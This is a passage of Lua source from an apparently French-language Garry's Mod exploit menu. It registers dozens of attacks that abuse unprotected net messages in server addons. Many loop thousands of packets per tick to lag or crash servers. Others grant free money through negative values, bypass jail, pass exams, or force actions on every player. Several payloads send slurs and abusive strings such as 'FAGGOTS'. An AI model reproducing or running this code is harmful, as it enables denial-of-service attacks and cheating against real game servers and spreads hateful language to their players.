10548net.SendToServer()
10549end )
10550end
10551
10552status = ValidNetString("netOrgVoteInvite_Server")
10553if (status) then
10554CHATPRINT("Exploit Trouvé : Invitez Tout Le Monde Dans Son Gang [netOrgVoteInvite_Server]")
10555addExploit( "236","Invitez Tout Le Monde Dans Son Gang", "", function()
10556surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10557for k,v in pairs(player.GetAll()) do
10558net.Start("netOrgVoteInvite_Server")
10559net.WriteEntity(v)
10560net.SendToServer()
10561end
10562end )
10563end
10564
10565
10566status = ValidNetString("donatorshop_itemtobuy")
10567if (status) then
10568CHATPRINT("Exploit Trouvé : Exploit De La Boite Des Donateur [donatorshop_itemtobuy]")
10569addExploit( "237","Exploit De La Boite Des Donateur", "", function()
10570surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10571net.Start("donatorshop_itemtobuy")
10572net.WriteString("DonatorShopBuyTripwire")
10573net.SendToServer()
10574end )
10575end
10576
10577status = ValidNetString("AskPickupItemInv")
10578if (status) then
10579CHATPRINT("Exploit Trouvé : Demandez Items [AskPickupItemInv]")
10580addExploit( "238","Demandez Items", "", function()
10581surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10582for k,v in pairs(player.GetAll()) do
10583net.Start("AskPickupItemInv")
10584net.WriteUInt(4,16)
10585net.WriteUInt(1,16)
10586net.SendToServer()
10587end
10588end )
10589end
10590
10591status = ValidNetString("buy_bundle")
10592if (status) then
10593CHATPRINT("Exploit Trouvé : Achetez Bundle [buy_bundle]")
10594addExploit( "239","Achetez Bundle", "", function()
10595surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10596net.Start("buy_bundle")
10597net.WriteFloat(1, 16)
10598net.SendToServer()
10599end )
10600end
10601
10602status = ValidNetString("LawyerOfferBail")
10603if (status) then
10604CHATPRINT("Exploit Trouvé : Sortir De Prison [LawyerOfferBail | AcceptBailOffer]")
10605addExploit( "240","Sortir De Prison", "", function()
10606surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10607for k,v in pairs(player.GetAll()) do
10608net.Start("LawyerOfferBail")
10609net.WriteEntity(v)
10610net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
10611net.SendToServer()
10612net.Start("AcceptBailOffer")
10613net.WriteEntity(v)
10614net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
10615net.SendToServer()
10616end
10617end )
10618end
10619
10620status = ValidNetString("MineServer")
10621if (status) then
10622CHATPRINT("Exploit Trouvé : Crée Des Lags #22 [MineServer]")
10623addExploit( "241","Crée Des Lags #22", "lags", function()
10624surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10625for i = 0, 100 do
10626for k,v in pairs(player.GetAll()) do
10627net.Start("MineServer",true)
10628net.WriteString("sell")
10629net.WriteEntity(v)
10630net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
10631net.SendToServer()
10632end
10633end
10634end )
10635end
10636
10637status = ValidNetString("Gb_gasstation_BuyGas")
10638if (status) then
10639CHATPRINT("Exploit Trouvé : Gaz Ukrainien [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
10640addExploit( "242","Gaz Ukrainien", "", function()
10641surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10642net.Start("Gb_gasstation_BuyGas")
10643net.SendToServer()
10644net.Start("Gb_gasstation_BuyJerrycan")
10645net.SendToServer()
10646end )
10647end
10648
10649status = ValidNetString("D3A_CreateOrg")
10650if (status) then
10651CHATPRINT("Exploit Trouvé : D3A Crée une Organisation [D3A_CreateOrg]")
10652addExploit( "243","D3A Crée une Organisation", "", function()
10653surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10654net.Start("D3A_CreateOrg")
10655net.WriteString('969690485273489312467812367128312312314')
10656net.WriteString('123712983712984571298712398')
10657net.WriteString("255 255 255")
10658net.SendToServer()
10659end )
10660end
10661
10662status = ValidNetString("Shop_buy")
10663if (status) then
10664CHATPRINT("Exploit Trouvé : SUP Buy Armor [Shop_buy]")
10665addExploit( "244","SUP Buy Armor", "", function()
10666surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10667net.Start("Shop_buy")
10668net.WriteString("Armor")
10669net.SendToServer()
10670end )
10671end
10672
10673status = ValidNetString("LawsToServer")
10674if (status) then
10675CHATPRINT("Exploit Trouvé : SUP Nouvelles Lois [LawsToServer]")
10676addExploit( "245","SUP Nouvelles Lois", "", function()
10677surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10678net.Start("LawsToServer")
10679net.WriteString("FAGGOTS")
10680net.SendToServer()
10681end )
10682end
10683
10684status = ValidNetString("D3A_Message")
10685if (status) then
10686CHATPRINT("Exploit Trouvé : D3A Message [D3A_Message]")
10687addExploit( "246","D3A Message", "", function()
10688surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10689local stuff = {
10690
10691}
10692net.Start("D3A_Message")
10693net.WriteString("FAGGOTS")
10694net.WriteTable(stuff)
10695net.SendToServer()
10696end )
10697end
10698
10699status = ValidNetString("misswd_accept")
10700if (status) then
10701CHATPRINT("Exploit Trouvé : Misswd Accepter [misswd_accept]")
10702addExploit( "247","Misswd Accepter", "", function()
10703surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10704for k,v in pairs(player.GetAll()) do
10705for i = 0, 100 do
10706net.Start("misswd_accept")
10707net.WriteEntity(v)
10708net.SendToServer()
10709end
10710end
10711end )
10712end
10713
10714status = ValidNetString("ScannerMenu")
10715if (status) then
10716CHATPRINT("Exploit Trouvé : Exploit De Scanneur [ScannerMenu]")
10717addExploit( "248","Exploit De Scanneur", "", function()
10718surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10719for k,v in pairs(player.GetAll()) do
10720net.Start("ScannerMenu")
10721net.WriteEntity(v)
10722net.WriteFloat(1)
10723net.WriteFloat(1)
10724net.SendToServer()
10725end
10726end )
10727end
10728
10729status = ValidNetString("ORG_NewOrg")
10730if (status) then
10731CHATPRINT("Exploit Trouvé : Nouvelle Organisation [ORG_NewOrg]")
10732addExploit( "249","Nouvelle Organisation", "", function()
10733surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10734net.Start("ORG_NewOrg")
10735net.WriteString("I FUCKING HATE YOU!")
10736net.SendToServer()
10737end )
10738end
10739
10740status = ValidNetString("ORG_VaultDonate")
10741if (status) then
10742CHATPRINT("Exploit Trouvé : Argent Gratuite #27 [ORG_VaultDonate]")
10743addExploit( "250","Argent Gratuite #27", "", function()
10744surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10745net.Start("ORG_VaultDonate")
10746net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
10747net.SendToServer()
10748end )
10749end
10750
10751status = ValidNetString("Selldatride")
10752if (status) then
10753CHATPRINT("Exploit Trouvé : Vendre Datride [Selldatride]")
10754addExploit( "251","Vendre Datride", "", function()
10755surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10756for k,v in pairs(player.GetAll()) do
10757net.Start("Selldatride")
10758net.WriteEntity(v)
10759net.SendToServer()
10760end
10761end )
10762end
10763
10764status = ValidNetString("passmayorexam")
10765if (status) then
10766CHATPRINT("Exploit Trouvé : Passez Les Examens [passmayorexam]")
10767addExploit( "252","Passez Les Examens", "", function()
10768surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10769net.Start("passmayorexam")
10770net.SendToServer()
10771end )
10772end
10773
10774status = ValidNetString("levelup_useperk")
10775if (status) then
10776CHATPRINT("Exploit Trouvé : Augmentez De Niveau [levelup_useperk]")
10777addExploit( "253","Augmentez De Niveau", "", function()
10778surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10779net.Start("levelup_useperk")
10780net.WriteInt(1, 8)
10781net.WriteInt(2, 8)
10782net.WriteInt(3, 8)
10783net.WriteInt(4, 8)
10784net.SendToServer()
10785end )
10786end
10787
10788status = ValidNetString("DeployMask")
10789if (status) then
10790CHATPRINT("Exploit Trouvé : Mettre Un Masque A Gaz A Tout Les Joueurs [DeployMask]")
10791addExploit( "255","Mettre Un Masque A Gaz A Tout Les Joueurs", "", function()
10792surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10793for k,v in pairs(ents.GetAll()) do
10794net.Start("DeployMask")
10795net.WriteEntity(v)
10796net.SendToServer()
10797end
10798end )
10799end
10800
10801status = ValidNetString("RemoveMask")
10802if (status) then
10803CHATPRINT("Exploit Trouvé : Supprimer Les Masques A Gaz Des Joueurs [RemoveMask]")
10804addExploit( "256","Supprimer Les Masques A Gaz Des Joueurs", "", function()
10805surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10806for k,v in pairs(ents.GetAll()) do
10807net.Start("RemoveMask")
10808net.WriteEntity(v)
10809net.SendToServer()
10810end
10811end )
10812end
10813
10814status = ValidNetString("SwapFilter")
10815if (status) then
10816CHATPRINT("Exploit Trouvé : Changer Tout Les Filtres Des Masques A Gaz [SwapFilter]")
10817addExploit( "257","Changer Tout Les Filtres Des Masques A Gaz", "Changer Les Filtres Des Masques A Gaz", function()
10818surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10819for k,v in pairs(ents.GetAll()) do
10820net.Start("SwapFilter")
10821net.WriteEntity(v)
10822net.SendToServer()
10823end
10824end )
10825end
10826
10827status = ValidNetString("WipeMask")
10828if (status) then
10829CHATPRINT("Exploit Trouvé : Essuyez Les Masques A Gaz [WipeMask]")
10830addExploit( "258","Essuyez Les Masques A Gaz", "Exploit Pour Essuyez Tout Les Masques A Gaz", function()
10831surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10832for k,v in pairs(ents.GetAll()) do
10833net.Start("WipeMask")
10834net.WriteEntity(v)
10835net.SendToServer()
10836end
10837end )
10838end
10839
10840status = ValidNetString("UseMedkit")
10841if (status) then
10842CHATPRINT("Exploit Trouvé : Utiliser Le Kit Médical [UseMedkit]")
10843addExploit( "259","Utiliser Le Kit Médical", "Exploit Pour Utiliser Le Kit Médical Sur Tout Le Monde", function()
10844surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10845for k,v in pairs(ents.GetAll()) do
10846net.Start("UseMedkit")
10847net.WriteEntity(v)
10848net.SendToServer()
10849end
10850end )
10851end
10852
10853status = ValidNetString("IDInv_RequestBank")
10854if (status) then
10855CHATPRINT("Exploit Trouvé : Crée Des Lags #23 [IDInv_RequestBank]")
10856addExploit( "260","Crée Des Lags #23", "Exploit Provenant De L'addon 'IDinventory'", function()
10857surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10858if !timer.Exists("lagger23") then
10859timer.Create("lagger23", 0, 0, function()
10860for i = 1, 1000 do
10861net.Start("IDInv_RequestBank",true)
10862net.SendToServer()
10863end
10864end )
10865end
10866end )
10867end
10868
10869status = ValidNetString("casinokit_chipexchange")
10870if (status) then
10871CHATPRINT("Exploit Trouvé : Crée Des Lags #24 [casinokit_chipexchange]")
10872addExploit( "261","Crée Des Lags #24", "Exploit Provenant De L'addon 'CasinoKit'", function()
10873surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10874if !timer.Exists("lagger24") then
10875timer.Create("lagger24", 0, 0, function()
10876for i = 1, 1000 do
10877net.Start("casinokit_chipexchange",true)
10878net.WriteEntity(LocalPlayer())
10879net.WriteString("darkrp")
10880net.WriteBool(false)
10881net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
10882net.SendToServer()
10883end
10884end )
10885end
10886end )
10887end
10888
10889status = ValidNetString("RemoveTag")
10890if (status) then
10891CHATPRINT("Exploit Trouvé : 1tap Le Serveur [RemoveTag]")
10892addExploit( "262","1tap Le Serveur", "Coup dûr pour le serveur ducoup", function()
10893surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10894timer.Create("1tap", 0.5, 0, function()
10895for i=1, 4000 do
10896net.Start("RemoveTag")
10897net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
10898net.SendToServer()
10899end
10900end )
10901end )
10902end
10903
10904status = ValidNetString("desktopPrinter_Withdraw")
10905if (status) then
10906CHATPRINT("Exploit Trouvé : Crée Des Lags #25 [desktopPrinter_Withdraw]")
10907addExploit( "263","Crée Des Lags #25", "Exploit Provenant De L'addon 'Desktop Printers'", function()
10908surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10909if !timer.Exists("lagger25") then
10910timer.Create("lagger25", 0, 0, function()
10911for i = 1, 1000 do
10912net.Start("desktopPrinter_Withdraw",true)
10913net.WriteEntity(LocalPlayer())
10914net.SendToServer()
10915end
10916end )
10917end
10918end )
10919end
10920
10921status = ValidNetString("sphys_dupe")
10922if (status) then
10923CHATPRINT("Exploit Trouvé : Crée Des Lags #26 [sphys_dupe]")
10924addExploit( "264","Crée Des Lags #26", "Exploit Provenant De L'addon 'Simfphys'", function()
10925surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10926timer.Create("lagger26", 0.2, 0, function()
10927for i=1,2200 do
10928net.Start("sphys_dupe",true)
10929net.SendToServer()
10930end
10931end )
10932end )
10933end
10934
10935status = ValidNetString("simfphys_gasspill")
10936if (status) then
10937CHATPRINT("Exploit Trouvé : Chiez Sur Les Joueurs [simfphys_gasspill]")
10938addExploit( "265","Chiez Sur Les Joueurs", "Exploit Provenant De L'addon 'Simfphys'", function()
10939surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10940timer.Create("poop", 0.1, 0, function()
10941for k,v in pairs(player.GetAll()) do
10942for j=1,3 do
10943if IsValid(v) then
10944net.Start("simfphys_gasspill")
10945net.WriteVector(v:GetPos()+Vector(0,0,90))
10946net.WriteVector(v:EyePos())
10947net.SendToServer()
10948end
10949end
10950end
10951end )
10952end )
10953end
10954
10955status = ValidNetString("dronesrewrite_controldr")
10956if (status) then
10957CHATPRINT("Exploit Trouvé : Crée Des Lags #27 [dronesrewrite_controldr]")
10958addExploit( "266","Crée Des Lags #27", "", function()
10959surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10960timer.Create("lagger27", 0.2, 0, function()
10961for i=1,2200 do
10962net.Start("dronesrewrite_controldr",true)
10963net.SendToServer()
10964end
10965end )
10966end )
10967end
10968
10969
10970status = ValidNetString("SCP-294Sv")
10971if (status) then
10972CHATPRINT("Exploit Trouvé : Exploit De SCP-294 [SCP-294Sv]")
10973addExploit( "267","Exploit De SCP-294 Exploit", "", function()
10974surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10975for k,v in pairs(ents.GetAll()) do
10976net.Start("SCP-294Sv")
10977net.WriteString("acid")
10978net.WriteEntity(v)
10979net.SendToServer()
10980end
10981end )
10982end
10983
10984status = ValidNetString("phone")
10985if (status) then
10986CHATPRINT("Exploit Trouvé : Appelez Tous Les Joueurs [phone]")
10987addExploit( "269","Appelez Tous Les Joueurs", "", function()
10988surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10989for k, v in pairs(player.GetAll()) do
10990net.Start("phone")
10991net.WriteTable{
10992ply=v,
10993act='call'
10994}
10995net.SendToServer()
10996end
10997end )
10998end
10999
11000status = ValidNetString("blueatm")
11001if (status) then
11002CHATPRINT("Exploit Trouvé : Crée Des Lags #29 [blueatm]")
11003addExploit( "270","Crée Des Lags #29", "Exploit Provenant De L'addon 'Blue ATM', ", function()
11004surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11005timer.Create("lagger29", 0, 0, function()
11006for i = 1, 1000 do
11007net.Start("blueatm",true)
11008net.WriteEntity(LocalPlayer())
11009net.SendToServer()
11010end
11011end )
11012end )
11013end
11014
11015status = ValidNetString("cab_cd_testdrive")
11016if (status) then
11017CHATPRINT("Exploit Trouvé : Stavox Teleportation [cab_cd_testdrive]")
11018addExploit( "271","Stavox Teleportation", "", function()
11019surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11020net.Start('cab_cd_testdrive')
11021net.WriteUInt(0, 3)
11022net.WriteUInt(5, 8)
11023net.SendToServer()
11024end )
11025end
11026
11027status = ValidNetString("cab_sendmessage")
11028if (status) then
11029CHATPRINT("Exploit Trouvé : Stavox Message [cab_sendmessage]")
11030addExploit( "272","Stavox Message", "", function()
11031surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11032for k, v in pairs(player.GetAll()) do
11033net.Start("cab_sendmessage")
11034net.WriteEntity(v)
11035net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
11036net.SendToServer()
11037end
11038end )
11039end
11040
11041status = ValidNetString("disguise")
11042if (status) then
11043CHATPRINT("Exploit Trouvé : Crée Des Lags #30 [disguise]")
11044addExploit( "273","Crée Des Lags #30", "", function()
11045surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger30", 0, 0, function()
11046for i = 1, 1000 do
11047net.Start("disguise",true)
11048net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
11049net.SendToServer()
11050end
11051end )
11052end )
11053end
11054
11055status = ValidNetString("FARMINGMOD_DROPITEM")
11056if (status) then
11057CHATPRINT("Exploit Trouvé : Crée Des Lags #31 [FARMINGMOD_DROPITEM]")
11058addExploit( "274","Crée Des Lags #31", "", function()
11059surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger31", 0, 0, function()
11060for i = 1, 1000 do
11061net.Start("FARMINGMOD_DROPITEM",true)
11062net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
11063net.SendToServer()
11064end
11065end )
11066end )
11067end
11068
11069status = ValidNetString("SlotsRemoved")
11070if (status) then
11071CHATPRINT("Exploit Trouvé : Crée Des Lags #32 [SlotsRemoved]")
11072addExploit( "275","Crée Des Lags #32", "Exploit Provenant De L'addon 'PointShop 2 Perma Weapons', ", function()
11073surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger32", 0, 0, function()
11074for i = 1, 1000 do
11075net.Start("SlotsRemoved",true)
11076net.SendToServer()
11077end
11078end )
11079end )
11080end
11081
11082status = ValidNetString("AirDrops_StartPlacement")
11083if (status) then
11084CHATPRINT("Exploit Trouvé : Crée Des Lags #33 [AirDrops_StartPlacement]")
11085addExploit( "276","Crée Des Lags #33", "Exploit Provenant De L'addon 'PointShop 2 AirDrops'", function()
11086surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger33", 0, 0, function()
11087for i = 1, 1000 do
11088net.Start("AirDrops_StartPlacement",true)
11089net.SendToServer()
11090end
11091end )
11092end )
11093end
11094
11095status = ValidNetString("IGS.GetPaymentURL")
11096if (status) then
11097CHATPRINT("Exploit Trouvé : Crée Des Lags #35 [IGS.GetPaymentURL]")
11098addExploit( "278","Crée Des Lags #35", "Exploit Dans IGS", function()
11099surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger35", 0, 0, function()
11100for i = 1, 1000 do
11101net.Start("IGS.GetPaymentURL",true)
11102net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
11103net.SendToServer()
11104end
11105end )
11106end )
11107end
11108
11109status = ValidNetString("fg_printer_money")
11110if (status) then
11111CHATPRINT("Exploit Trouvé : Crée Des Lags #36 [fg_printer_money]")
11112addExploit( "279","Crée Des Lags #36", "Exploits Dans Les FG Printers", function()
11113surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger36", 0, 0, function()
11114for i = 1, 1000 do
11115net.Start('fg_printer_money',true)
11116net.WriteEntity(LocalPlayer())
11117net.SendToServer()
11118end
11119end )
11120end )
11121end
11122
11123status = ValidNetString("tickbookpayfine")
11124if (status) then
11125CHATPRINT("Exploit Trouvé : Crée Des Lags #37 [tickbookpayfine]")
11126addExploit( "280","Crée Des Lags #37", "Exploit De Ticket Book", function()
11127surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger37", 0, 0, function()
11128for i = 1, 1000 do
11129net.Start("tickbookpayfine",true)
11130net.SendToServer()
11131end
11132end )
11133end )
11134end
11135
11136status = ValidNetString("BeginSpin")
11137if (status) then
11138CHATPRINT("Exploit Trouvé : Crée Des Lags #38 [BeginSpin]")
11139addExploit( "281","Crée Des Lags #38", "Exploits De Blue Unbox", function()
11140surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger38", 0, 0, function()
11141for i = 1, 1000 do
11142net.Start("BeginSpin",true)
11143net.SendToServer()
11144end
11145end )
11146end )
11147end
11148
11149status = ValidNetString("DuelRequestClient")
11150if (status) then
11151CHATPRINT("Exploit Trouvé : Crée Des Lags #39 [DuelRequestClient]")
11152addExploit( "282","Crée Des Lags #39", "", function()
11153surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger39", 0, 0, function()
11154for i = 1, 1000 do
11155net.Start("DuelRequestClient",true)
11156net.SendToServer()
11157end
11158end )
11159end )
11160end
11161
11162status = ValidNetString("ncpstoredoact")
11163if (status) then
11164CHATPRINT("Exploit Trouvé : Crée Des Lags #40 [ncpstoredoact]")
11165addExploit( "283","Crée Des Lags #40", "", function()
11166surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger40", 0, 0, function()
11167for i = 1, 1000 do
11168net.Start("ncpstoredoact",true)
11169net.SendToServer()
11170end
11171end )
11172end )
11173end
11174
11175status = ValidNetString("PermwepsNPCSellWeapon")
11176if (status) then
11177CHATPRINT("Exploit Trouvé : Crée Des Lags #41 [PermwepsNPCSellWeapon]")
11178addExploit( "284","Crée Des Lags #41", "", function()
11179surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger41", 0, 0, function()
11180for i = 1, 2000 do
11181net.Start("PermwepsNPCSellWeapon",true)
11182net.WriteString("")
11183net.SendToServer()
11184end
11185end )
11186end )
11187end
11188
11189status = ValidNetString("bitcoins_request_withdraw")
11190if (status) then
11191CHATPRINT("Exploit Trouvé : Crée Des Lags #42 [bitcoins_request_withdraw]")
11192addExploit( "285","Crée Des Lags #42", "", function()
11193surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger42", 0, 0, function()
11194for i = 1, 2000 do
11195net.Start("bitcoins_request_withdraw",true)
11196net.SendToServer()
11197end
11198end )
11199end )
11200end
11201
11202status = ValidNetString("bitcoins_request_turn_on")
11203if (status) then
11204CHATPRINT("Exploit Trouvé : Activé Tout Les Mineurs De Bitcoins [bitcoins_request_turn_on]")
11205addExploit( "286","Activé Tout Les Mineurs De Bitcoins", "", function()
11206surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11207for k, v in pairs(ents.GetAll()) do
11208if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
11209net.Start("bitcoins_request_turn_on")
11210net.WriteEntity(v)
11211net.SendToServer()
11212end
11213end
11214end)
11215end
11216
11217status = ValidNetString("bitcoins_request_turn_off")
11218if (status) then
11219CHATPRINT("Exploit Trouvé : Désactiver Tout Les Mineurs De Bitcoins [bitcoins_request_turn_off]")
11220addExploit( "287","Désactiver Tout Les Mineurs De Bitcoins", "", function()
11221surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11222for k, v in pairs(ents.GetAll()) do
11223if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
11224net.Start("bitcoins_request_turn_off")
11225net.WriteEntity(v)
11226net.SendToServer()
11227end
11228end
11229end)
11230end
11231
11232status = ValidNetString("NET_AM_MakePotion")
11233if (status) then
11234CHATPRINT("Exploit Trouvé : Crée Des Lags #43 [NET_AM_MakePotion]")
11235addExploit( "288","Crée Des Lags #43", "", function()
11236surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11237timer.Create("lagger43", 0, 0, function()
11238for i = 1, 2000 do
11239net.Start('NET_AM_MakePotion',true)
11240net.WriteEntity(LocalPlayer())
11241net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
11242net.SendToServer()
11243end
11244end )
11245end )
11246end
11247
11248status = ValidNetString("minigun_drones_switch")
11249if (status) then
11250CHATPRINT("Exploit Trouvé : Crée Des Lags #44 [minigun_drones_switch]")
11251addExploit( "289","Crée Des Lags #44", "", function()
11252surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11253timer.Create("lagger44", 0.2, 0, function()
11254for i=1,2200 do
11255net.Start("minigun_drones_switch",true)
11256net.SendToServer()
11257end
11258end )
11259end )
11260end
11261
11262status = ValidNetString("CW20_PRESET_LOAD")
11263if (status) then
11264CHATPRINT("Exploit Trouvé : Crée Des Lags #45 (AVEC DES ARMES CW2 DANS LES MAINS) [CW20_PRESET_LOAD]")
11265addExploit( "290","Crée Des Lags #45", "(AVEC DES ARMES CW2 DANS LES MAINS)", function()
11266surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11267timer.Create("lagger45", 0.2, 0, function()
11268if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
11269for i=1,2200 do
11270net.Start("CW20_PRESET_LOAD",true)
11271net.SendToServer()
11272end
11273end
11274end )
11275end )
11276end
11277
11278status = ValidNetString("SBP_addtime")
11279if (status) then
11280CHATPRINT("Exploit Trouvé : Crée Des Lags #46 [SBP_addtime]")
11281addExploit( "291","Crée Des Lags #46", "", function()
11282surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11283timer.Create("lagger46", 0.3, 0, function()
11284for i=1,2200 do
11285net.Start("SBP_addtime",true)
11286net.SendToServer()
11287end
11288end )
11289end )
11290end
11291
11292status = ValidNetString("NetData")
11293if (status) then
11294CHATPRINT("Exploit Trouvé : Vêtement Bruyant [NetData]")
11295addExploit( "292","Outfit player nouser", "Entend Les Joueurs Près De Toi", function()
11296surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11297for k, v in pairs(player.GetAll()) do
11298net.Start("NetData")
11299net.WriteString("OF")
11300net.WriteUInt(4,8)
11301net.WriteData(math.random(100000,9999999)..",sis.mdl",30)
11302net.SendToServer()
11303end
11304end )
11305end
11306
11307status = ValidNetString("SBP_addtime")
11308if (status) then
11309CHATPRINT("Exploit Trouvé : Booster Son XP [SBP_addtime]")
11310addExploit( "293","Booster Son XP", "", function()
11311inputFrameExists = true
11312inputFrame = vgui.Create( "DFrame" )
11313inputFrame:SetTitle("Enter the number")
11314inputFrame:SetSize( 400, 75 )
11315inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
11316inputFrame:SetDraggable(true)
11317inputFrame:ShowCloseButton(true)
11318inputFrame:MakePopup()
11319inputFrame.Paint = function( self, w, h )
11320draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
11321end
11322local TextEntry = vgui.Create( "DTextEntry", inputFrame )
11323TextEntry:SetSize( 380, 30 )
11324TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
11325TextEntry:SetText( "100" )
11326TextEntry.OnEnter = function( self )
11327surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("ofn", 0.2, 0, function()
11328for i=1,tonumber(self:GetText()) do
11329net.Start("SBP_addtime")
11330net.SendToServer()
11331end
